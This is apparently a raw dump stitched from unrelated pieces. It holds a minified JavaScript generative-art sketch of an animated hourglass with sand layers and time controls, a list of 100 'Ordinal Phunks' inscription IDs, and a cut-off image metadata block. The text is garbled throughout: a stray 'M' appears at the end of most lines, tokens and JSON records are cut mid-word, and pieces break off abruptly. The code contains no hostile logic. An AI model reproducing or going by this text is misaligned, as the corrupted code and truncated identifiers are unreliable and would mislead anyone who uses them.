ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
Ordinal Phunks
@OrdinalPhunks on Twitter
https://twitter.com/OrdinalPhunks
Ordinal Phunks Inscription IDs:
{"Ordinal Phunks": "1", "inscription": "24bd93d81c60143f760d756e4323496f6db00e49b6b24e3ab14ea4740213b026i0"}
{"Ordinal Phunks": "2", "inscription": "fe329b23af3f1250ec167fe380f9cf2c99e3034b1498582d304f045f2f9360d6i0"}
{"Ordinal Phunks": "3", "inscription": "8b93cb3a245ae93290e7bb120981133cce17acf70e03e9a444c0012c61d808ebi0"}
{"Ordinal Phunks": "4", "inscription": "14451883fbb1e78db5f1M
fb26d841d604f786e8140afa9ebecc67a70717314cb7i0"}
{"Ordinal Phunks": "5", "inscription": "d9571c3fa378276a1e9ce508a4f825588b4f7ee71412581e0089c3a5804341a0i0"}
{"Ordinal Phunks": "6", "inscription": "f79b07255a05f9d8ace95f4d26f850f36b84e5fee47879d15e3b216a565fa127i0"}
{"Ordinal Phunks": "7", "inscription": "7ed4dec4119a85afead5cd39f8f754e154c3794984a39d005b8bd432353c3390i0"}
{"Ordinal Phunks": "8", "inscription": "84221f02f05690a3b0ed84bbce8788dbe2af23aef6d752a472088ed0ade8f9c7i0"}
{"Ordinal Phunks": "9", "inscriptioM
n": "e544ff505d5db266084ace8f626070a9cf18d80513d242e81de8ba4a964ae01di0"}
{"Ordinal Phunks": "10", "inscription": "04523934ecaa9d1dbbcf57ae439f6b8d0db7aace989ded39c30cebd7bfbaed30i0"}
{"Ordinal Phunks": "11", "inscription": "e1c026b45872ff1afd02e4b3f69deabe177e72af7b71f8825711592a8ad8472ei0"}
{"Ordinal Phunks": "12", "inscription": "30ead21f6c7860f3754c6f3be6aaf407b05aadb8eebbd2de6d02543f8826fd0fi0"}
{"Ordinal Phunks": "13", "inscription": "7468f1158519b57f537251e5c480abd5f4dd5803d6060bbfe8deffafcefd39e4i0"}
nal Phunks": "14", "inscription": "0c2c8a4a2b9ea98838d20f2e2f53a7cc4a935f1ec6804adaa1e44f66f77755a6i0"}
{"Ordinal Phunks": "15", "inscription": "26f3e83ebce44cc604cd178060313637a4f9b8bef561085284e6ab472f689a8fi0"}
{"Ordinal Phunks": "16", "inscription": "b5a5536213a8f4ea732259d572e827d18b6bdaed36d2642a2ac4fb15c320a8e2i0"}
{"Ordinal Phunks": "17", "inscription": "615947106a67d5c6318065745e13a10e6d75c92258d730294dc6456ecff6d326i0"}
{"Ordinal Phunks": "18", "inscription": "eaa3f9ca1337d33637bf04c21cc395c8dc65c03a586c5M
d97cc52f5ea3beacb5ci0"}
{"Ordinal Phunks": "19", "inscription": "7c3dc703f0f18b26a04e0b389838649268f31c3ead19cb01905cddc991425884i0"}
{"Ordinal Phunks": "20", "inscription": "20c1669fcad8a4d65319121f8b35520d594ee690da850038040c21553ebc17a8i0"}
{"Ordinal Phunks": "21", "inscription": "f9a0b45c712e36276afb89b206b9863a9b4b7b77594aa1575fef8b2ecb952ba7i0"}
{"Ordinal Phunks": "22", "inscription": "d7f9c927cf8776f913063dac508eceab5b2202a8fae8dc0fb8d4b8950f2e6e85i0"}
{"Ordinal Phunks": "23", "inscription": "2dfe0564e44742dM
582fda08bfe3a69cde809d8b2534a750dab6831eca63fb2adi0"}
{"Ordinal Phunks": "24", "inscription": "2c04fb32618caa7e694cbe84c655e7e55c0008330ff61545dfa2375d0ee2438ci0"}
{"Ordinal Phunks": "25", "inscription": "8362d6d8d0f53998460360fec0ab1fbf1660e53fe95ff39e48e1a148638005d5i0"}
{"Ordinal Phunks": "26", "inscription": "8a11ea0fc3d6ce735971fb2218ecb432559b016578c578f7f7f679a2268273ddi0"}
{"Ordinal Phunks": "27", "inscription": "905c1cd45579d22ad2f28524ea82deb5a26d576f3186ac9f67dc03f40599a028i0"}
{"Ordinal Phunks": "28", "M
inscription": "e448e0efa6c2e4bf6918ae319b9fa1aad1f8173ffa61975cae951360571c09e5i0"}
{"Ordinal Phunks": "29", "inscription": "579cb0843f35120e16d817c493c762b9f8c23672def092ba7b8f7f75ab5eec15i0"}
{"Ordinal Phunks": "30", "inscription": "dabdf29bd8f7d0e71cd5054d1cfee6762dd35eab95cbb0d078859d0e0c94b750i0"}
{"Ordinal Phunks": "31", "inscription": "a2537aa6c5334257be539f97851ba4492a9d09b5d22b7d118cb03f3a84c25754i0"}
{"Ordinal Phunks": "32", "inscription": "1d9dfbdb00dd2ff8fe14a5c6d0b4fa429d1be4d65d573c540700380702efd3aeiM
{"Ordinal Phunks": "33", "inscription": "1318d8f18819fd9d01b461c46f43ef7ce800482a8a94403b356bbfa84c4f409bi0"}
{"Ordinal Phunks": "34", "inscription": "0678b7a36d91b659d81e8143e26763aa7c7143373e2ea000c08adab1d47dc3bfi0"}
{"Ordinal Phunks": "35", "inscription": "f540f9a5f3778eacf88652d0c3a74ccf8e6db6c12d6ecb845798cc221a5ff6f0i0"}
{"Ordinal Phunks": "36", "inscription": "7514aa456bf335d282a2fed487293216816e92542b42a465114bffe7176984e3i0"}
{"Ordinal Phunks": "37", "inscription": "ef01e8462877354f3f4319c14f9405505baM
e1caf929bf6bcf8fe6cd7ce0d5c35i0"}
{"Ordinal Phunks": "38", "inscription": "dedf30c3db3fd6effd70e9dcb3de8697ae22f8d7c30284b8037b5d784f7a0352i0"}
{"Ordinal Phunks": "39", "inscription": "0d9e06195990bd1d48eee06e009ea8f7f502a69b985254293b43930de0b4aa12i0"}
{"Ordinal Phunks": "40", "inscription": "59cb684f02395e8978896ee05f6ad1525bf768436addb0cabf21922a3f7d74e5i0"}
{"Ordinal Phunks": "41", "inscription": "21a6682d29401ae7fd991ade9ce99a508eccedc3569c54306f2fb590c3dc6090i0"}
{"Ordinal Phunks": "42", "inscription": "cadcdM
ab90dd278ef9bdb6627c3b0bce9f7b181c8eb5f70d035f73266bbc08f98i0"}
{"Ordinal Phunks": "43", "inscription": "c46ea369a8ca93ddc7128bce8f558a25debe9c697b874741f68ed7f3683516ddi0"}
{"Ordinal Phunks": "44", "inscription": "cf7e6ffb4e4abf3c97f3fef5eae73f8d84224c202fd7d5b29f44525d9053155di0"}
{"Ordinal Phunks": "45", "inscription": "0c67a6bf3060376a6f8dce7c5b31ce1572efc165e311c9849214de3ef111cc17i0"}
{"Ordinal Phunks": "46", "inscription": "972a50f19d838226676f8a6d64ee087d00ff631ec071bb87cc2531d330607be3i0"}
": "47", "inscription": "730a32568d4d0fa22ddd9bd78c58340fe3f43954fc7856da2ccf925a6bfa794bi0"}
{"Ordinal Phunks": "48", "inscription": "9c88ab2d1bbb4a36286f0ace9ec791c995a17f580a4b7336c757f4b025afb443i0"}
{"Ordinal Phunks": "49", "inscription": "6398b89583b8dbb6e9124dd5085b745d70b02168bdc9763a541290656b82d1b4i0"}
{"Ordinal Phunks": "50", "inscription": "750e41ca4d02ab06dabf64c3573ce72a19736528ff583f47b59760c028890e1fi0"}
{"Ordinal Phunks": "51", "inscription": "26eacff2852550c3e01a700cb1f7059c122071dbe901c03e1fab808M
{"Ordinal Phunks": "52", "inscription": "48c860e29170a13bd51428dcdc9c6629829f073e73bdd877433955ee5c35e4e0i0"}
{"Ordinal Phunks": "53", "inscription": "526a7ed23c2a5449f6f56f988b5292bb8481055f880eaaae5c76ca5fb3d42a34i0"}
{"Ordinal Phunks": "54", "inscription": "7bcb2a8de4558f71b7ae7f591e127b626c821ab21a740c8aaa78d2bbafff5f23i0"}
{"Ordinal Phunks": "55", "inscription": "d2df481103cf23c57c1f6292633f82662cef40c770c202f60bf2ee8019cfede6i0"}
{"Ordinal Phunks": "56", "inscription": "08015dc7a63ed5bb21f5ec112M
ef759e0893b465d88bbef14eaa65c0c7d7bb5aci0"}
{"Ordinal Phunks": "57", "inscription": "a0089b24d105a4ffef867a303ac2ea9a59aaa5dc751abf55ecdc7bb4fcde45dei0"}
{"Ordinal Phunks": "58", "inscription": "537aa9c80a4ba6aea71b8fbe4366684d034ff7d278c00fdecba02038164adb49i0"}
{"Ordinal Phunks": "59", "inscription": "857f3fe280036cddbbeefa1070a4b30e5045b451bd89de9ac85b2356b9b12190i0"}
{"Ordinal Phunks": "60", "inscription": "39aa8cc951e4bd170024d3086438de89f7f619f969911cf23cc2fe1e3ac8a46di0"}
{"Ordinal Phunks": "61", "inscriptioM
n": "dd000f28985c0a2878740af0c9a6b27ffc40bd07683608c647338e48f9d659a4i0"}
{"Ordinal Phunks": "62", "inscription": "cc1b2a25b7221af584ed436d7e2524b8dc3c6ec7db84198711c05383d29fa104i0"}
{"Ordinal Phunks": "63", "inscription": "712895dfd089d73fdd8981fe626b74f8f0824c80f453533c869dd2cf6513fd39i0"}
{"Ordinal Phunks": "64", "inscription": "57316c3d234bec4b9676dbd96429aa007593c76683291805449892c764566766i0"}
{"Ordinal Phunks": "65", "inscription": "213dc02349aa38dc57a51c5a011da89c80249e3e929358ca9d1450c1a6384f33i0"}
nal Phunks": "66", "inscription": "4dc4e8a3ed4fe49c2a400a14c3878e45194a344e5685e13f116ce8fe1888b321i0"}
{"Ordinal Phunks": "67", "inscription": "e3b11d8e2d5eddf6384507646204ce7230bc389cf99ba5ce921284739bf348a2i0"}
{"Ordinal Phunks": "68", "inscription": "c81cff86c3e53b8e41f313cbcf33ac3a04cc750c0bfe012cd07558100a028b83i0"}
{"Ordinal Phunks": "69", "inscription": "6859c1bb7853d15101a5fb744d5dd24beda0a157b42510c83bb0647d55575451i0"}
{"Ordinal Phunks": "70", "inscription": "ff72643d4a404d47752fbed4e3a53645f4468dda53c7fM
d5a3426ae0ef572e5aci0"}
{"Ordinal Phunks": "71", "inscription": "fcd7d27b8c4554d9fb7e24233eaab658f45f7c364f75d557285751761577095fi0"}
{"Ordinal Phunks": "72", "inscription": "71ba9d30c96aba1ebcb083934b94e267a980244c73b5d80f65dff9c007e88f7ci0"}
{"Ordinal Phunks": "73", "inscription": "9575cc2bad2f9f6670f3d97f3dac99fabeeafdf6f8bb1c6abfe27df912b96eaei0"}
{"Ordinal Phunks": "74", "inscription": "52bcd4c990f6376220bd4defe75474ed7b655b14fc9c5c29c678887ae012a380i0"}
{"Ordinal Phunks": "75", "inscription": "7dfa83b4f86f6b8M
b0b6c70a07a3b81d90da6604accc4e37a5aa028019c7454aci0"}
{"Ordinal Phunks": "76", "inscription": "c2dd443593b06a3f794ff73aa7d21a7977b1e520170d4c223d9131a43eb093d8i0"}
{"Ordinal Phunks": "77", "inscription": "b7ee1ae4bd94dfad230b78fb325f01ca765953087d1e07ad112929064ef4c3b1i0"}
{"Ordinal Phunks": "78", "inscription": "4109a4c64cbaeea9a45a70797802b2da56d2380667ca0f594f0ccea992c30c36i0"}
{"Ordinal Phunks": "79", "inscription": "a12f8ce2de14d8dade33dab4fb6a6d761e1d39515c40bdc11181f6cac5e0df33i0"}
{"Ordinal Phunks": "80", "M
inscription": "5d20802934205db47bf57fa2410769ac57b8f3f06cbf37bd08a95d7efe670279i0"}
{"Ordinal Phunks": "81", "inscription": "04bca896326b9dcb819d3e76f2adf9ce05574fa5156803ec2aa7af46b0599077i0"}
{"Ordinal Phunks": "82", "inscription": "33aae71ef55f9078d5927f95bc0d84e0935c26295a4a3dde7cdfdb1ceba5186ai0"}
{"Ordinal Phunks": "83", "inscription": "5a97de9ef6a9ee0766db96b6cebd1b4a4e41f0839f818fd523915a7fcbb2e300i0"}
{"Ordinal Phunks": "84", "inscription": "02fe7e5e5d3c1fbac4ef8b5e4549816598f49efa05c662b7971639c79a063fa7iM
{"Ordinal Phunks": "85", "inscription": "a9e446173cebcb56dae1db6e4d449af301d8f5378f6a4458d6a5d3ba31fbfc2di0"}
{"Ordinal Phunks": "86", "inscription": "4709739d9ef0b624b5343e90f79c38a0bc680764dc8934c2e5c78366a5ddc6e3i0"}
{"Ordinal Phunks": "87", "inscription": "9a73b318c194e70119938d46af8b8eb4a26b4718b6f107bdbb9ff67043b97954i0"}
{"Ordinal Phunks": "88", "inscription": "27ad3eabbb27591fa9387cafa26f2bf023441b097a6fe71458c0e72450031388i0"}
{"Ordinal Phunks": "89", "inscription": "78bce0eec45050f04390d0b9d57cb47ea44M
28d18514bd158be40067aababda7fi0"}
{"Ordinal Phunks": "90", "inscription": "461804ab6c649ec06a4c33c8fd2ce7009edf5460c149b9798c2be27cfb5c91e0i0"}
{"Ordinal Phunks": "91", "inscription": "a65b26a3237e9f95ddbe21bd04e11bba619f2e070612330ccba0f886b8e65247i0"}
{"Ordinal Phunks": "92", "inscription": "8c65615d60ad2e98b5119d2dc17351915915640ac0a0cce413179ea2a610eecai0"}
{"Ordinal Phunks": "93", "inscription": "e18cd8bbf5417da08ab772545162fae03fb044481d46452fbca2ee3e02e23c2di0"}
{"Ordinal Phunks": "94", "inscription": "9adf3M
0dd20f4363545615415e5bb4180bca922ed8f6390d94fdb3dcd1982b289i0"}
{"Ordinal Phunks": "95", "inscription": "f98e8bc98eb1909d7b808fbd12882925fb4a2fa62b584fc0efc4d410fbac7375i0"}
{"Ordinal Phunks": "96", "inscription": "64e99eff9f0bc10c26a335fe966a44dfcaceeabb67dbf5d5a2092d14dc7561b4i0"}
{"Ordinal Phunks": "97", "inscription": "ed75f3856978d23b9af6902d65a335f3e5158994759b41af36866dd27151909fi0"}
{"Ordinal Phunks": "98", "inscription": "417e15760806a0e0ed119a1c26ede13c525331e92001b33b7c6486f870ff25d3i0"}
": "99", "inscription": "c9bd4121acd25cbe6089bad01daf7310501b840a6786d47f0887188f3b162a2ci0"}
{"Ordinal Phunks": "100", "inscription": "3c8301a5dc1322c2e5b99f8088b5a19526a876d7dcf27bdc63a0c666d11e196di0"}
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://nsM
.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:15bd1d3c-79e8-49bb-9380-b390d25e3320" xmpMM:InstanceID="xmp.iid:f212c7fd-87b4-4bb3-91f7-97d902ce2cc3" xmpMM:OriginalDocumentID="xmp.did:1fe7e587-b8f3-4fd9-8dc6-0fc410d113c2" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="WindowM
